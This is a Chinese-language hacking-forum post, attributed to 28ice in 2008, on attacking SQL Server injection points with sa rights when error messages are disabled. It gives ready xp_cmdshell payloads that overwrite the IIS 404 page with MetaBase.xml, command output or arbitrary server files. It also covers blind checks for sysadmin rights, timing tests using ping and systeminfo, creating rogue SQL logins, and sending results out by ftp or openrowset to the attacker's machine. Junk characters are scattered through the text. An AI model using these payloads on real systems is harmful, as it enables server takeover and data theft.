遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。# y. P$ N$ y3 j2 V# P: W% p
7 D, P! v+ C/ P- x6 }6 f
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
t; l0 H: X* F: Z+ T
" _: F7 H: k% ?* V 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
5 b' `7 O1 s* y' W$ M& b0 s$ A3 P" g
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm6 `8 W7 A$ B+ |/ X5 G& V
3 ?7 E1 ?. ^9 m 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
! \" V* x; y& w& Z5 E: q# j" ^7 t& Z$ T$ u- @5 A
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
" j @: D; R8 u. P1 H" c3 Z# L8 @: i6 L- H+ h7 E$ B4 B3 u( K
执行命令得到回显2 k, G8 B" A; S f& T1 o$ d* V
! c3 t8 N3 g( a
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--+ C6 M% d' Q4 `% l j# l$ P
7 E5 O- K/ m: B: ~' r% J 得到文件也shi相同,把文件copy到404b.htm就行了# O. C! r9 B& a2 C
1 w- M4 b5 i7 c$ {" G' P by 28ice, 2008/6/26/ |( Q) l3 b, z8 s. d* k
7 m( e1 B. s! ] 摘自 28度的冰
: a$ O6 D8 Q4 |( M
7 Y( l: ~; @, i+ ]" R6 G5 p8 m 盲注判断权限和操作系统版本
3 Y' _' v+ x6 y+ y$ r" B- O* l/ C$ _( r1 l2 K
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
7 |6 I0 B8 q0 U, |! g. S8 I. f: w" s/ |( n( a
最简单的,可能以用这样的方法:
) d$ R8 O1 r! ~9 R, H
% d5 f! k1 i) ~ 1=(select IS_SRVROLEMEMBER(’sysadmin’))( K: \7 A$ [4 Y! Z
: e( w. S% `4 s. o. I1 Y1 D 当然,有些情况下,这个方法并不奏效。
- d% W: M/ \& o; \; I3 z4 K2 ~) e" A; q& Y) \ ?& E$ s
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。, E w/ t3 u/ W( ?5 t+ e# Q1 D
: N& B3 A7 Q; Y( ^# S' f0 q d
有个3办法可能以解决这个问题
/ Q& }, P) R; {8 O' h
$ h: o9 z: T6 I5 K a.把执行结果写到404b.htm,具体请看我的上一篇文章
2 n' s& T) J) U/ H' g. A% E! {6 S6 L& m8 i+ p
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
, e, e9 c5 s: E% `% x0 Q- e. q6 J0 T" o2 Q1 d
c.如果1433端口可能以连接,那干脆新建个sql登录: {( O# C# C7 E7 _* n
- k7 x1 f+ u# B& w& W( B d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
8 g5 g& ^$ u, p% H u/ w& ^( Y/ [/ @7 x0 {, H$ L% ?
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下 L* s9 R0 P- \; r% s, U5 U8 l
& b: W! p( Q) N) C% U* \ m& {
很简单" Y6 D; g& O5 U& I
9 ]9 ^- e, [+ d% T: [& I 执行systeminfo
2 i o3 G9 `& ~, f s' S3 f
4 m. P. D( I* h4 ?9 v, P4 ^& Y 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |